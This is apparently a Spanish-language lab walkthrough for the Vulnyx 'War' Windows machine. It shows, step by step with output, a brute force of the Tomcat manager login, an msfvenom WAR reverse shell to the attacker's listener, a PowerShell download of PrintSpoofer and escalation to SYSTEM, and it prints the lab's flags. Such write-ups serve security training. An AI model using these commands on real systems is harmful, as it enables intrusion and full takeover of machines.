War Vulnyx (Easy - Windows)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>nmap -sCV -p<PORTS> <IP>Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 04:07 EDT
Nmap scan report for 192.168.5.70
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5040/tcp open unknown
8080/tcp open http Apache Tomcat (language: en)
|_http-title: Apache Tomcat/11.0.1
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27💿DF:7E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: WAR, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27💿df:7e (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-08-03T18:09:54
|_ start_date: N/A
|_clock-skew: 9h59m58s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 175.87 secondsVeremos varias cosas interesantes, entre ellas un puerto 8080 si entramos dentro del mismo, veremos un apache Tomcat, esto es bastante interesante, vamos abrir metasploit para probar a realizar una fuerza bruta del login del manager (Administrador) y a ver si podemos encontrar las credenciales para ir al panel de admin.
msfconsole -qUna vez dentro utilizaremos el siguiente modulo:
use auxiliary/scanner/http/tomcat_mgr_loginAhora lo configuraremos simplemente de esta forma:
set RHOSTS <IP_VICTIM>
runInfo:
[!] No active DB -- Credential data will not be saved!
[-] 192.168.5.70:8080 - LOGIN FAILED: admin:admin (Incorrect)
[-] 192.168.5.70:8080 - LOGIN FAILED: admin:manager (Incorrect)
[-] 192.168.5.70:8080 - LOGIN FAILED: admin:role1 (Incorrect)
[-] 192.168.5.70:8080 - LOGIN FAILED: admin:root (Incorrect)
[+] 192.168.5.70:8080 - Login Successful: admin:tomcatVemos que encontro unas credenciales por defecto, por lo que vamos a probarlas, nos iremos a la siguiente ruta web.
URL = http://<IP>/manager/htmlAqui nos pedira un login meteremos lo que encontramos admin:tomcat y veremos que estaremos dentro del panel de administrador, estando aqui dentro podremos probar a subir un archivo .war en el que cuando accedamos nos de una reverse shell, vamos a probar a ver si funciona.
Escalate user nt authority\local service
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP-ATTACKER> LPORT=<PORT> -f war -o shell.warAhora vamos a ponernos a la escucha antes de nada:
nc -lvnp <PORT>Una vez echo esto, nos iremos a la pagina y en la parte de WAR file to deploy subiremos el archivo war que hemos generado, una vez cargado y subido, un poco mas arriba veremos nuestro war subido en Applications por lo que ha funcionado de forma correcta.

Ahora si le damos a ese /shell nos llevara a la "pagina" que hemos creado, una vez dado a dicha "pagina" si volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.70] 56192
Microsoft Windows [Version 10.0.19045.2965]
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\Apache Software Foundation\Tomcat 11.0>whoami
whoami
nt authority\local serviceVeremos que ha funcionado, por lo que vamos a realizar un poco de fuzzing a ver que encontramos.
Escalate Privileges
Si listamos los permisos que tenemos veremos lo siguiente:
whoami /privInfo:
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeSystemtimePrivilege Change the system time Disabled
SeShutdownPrivilege Shut down the system Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone DisabledVeremos bastante interesante esta linea:
SeImpersonatePrivilege Impersonate a client after authentication EnabledAl saber que tenemos como victima un Windows 10 posiblemente no funcione el ejecutable antiguo llamado JuicyPotato.exe ya que Algunas versiones modernas de Windows bloquean DCOM/COM CLSIDs, por lo que vamos a utilizar una version mas facil llamada PrintSpoofer.
URL = PrintSpoofer64.exe GitHub
Una vez que nos hayamos descargado el de 64 bits vamos a pasarnoslo a nuestra maquian victima de esta forma con un comando de powershell.
Antes abriremos un servidor de python3 donde este el binario.
python3 -m http.server 8000Ahora ejecutamos esto en la maquina victima:
powershell -c "(New-Object Net.WebClient).DownloadFile('http://<IP>:8000/PrintSpoofer64.exe', 'C:\Users\Public\Downloads\PrintSpoofer64.exe')"Una vez echo lo anterior lo vamos a ejecutar de esta forma:
.\PrintSpoofer64.exe -i -c powershellInfo:
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Windows\system32> whoami
whoami
nt authority\systemCon esto veremos que ha funcionado y seremos ya directamente nt authority\system por lo que vamos a leer las flags del usuario y de root.
user.txt
3a1ddb915bd423f0ca428dce35612dcbroot.txt
1399d5ba705df14146335def4ff64520Last updated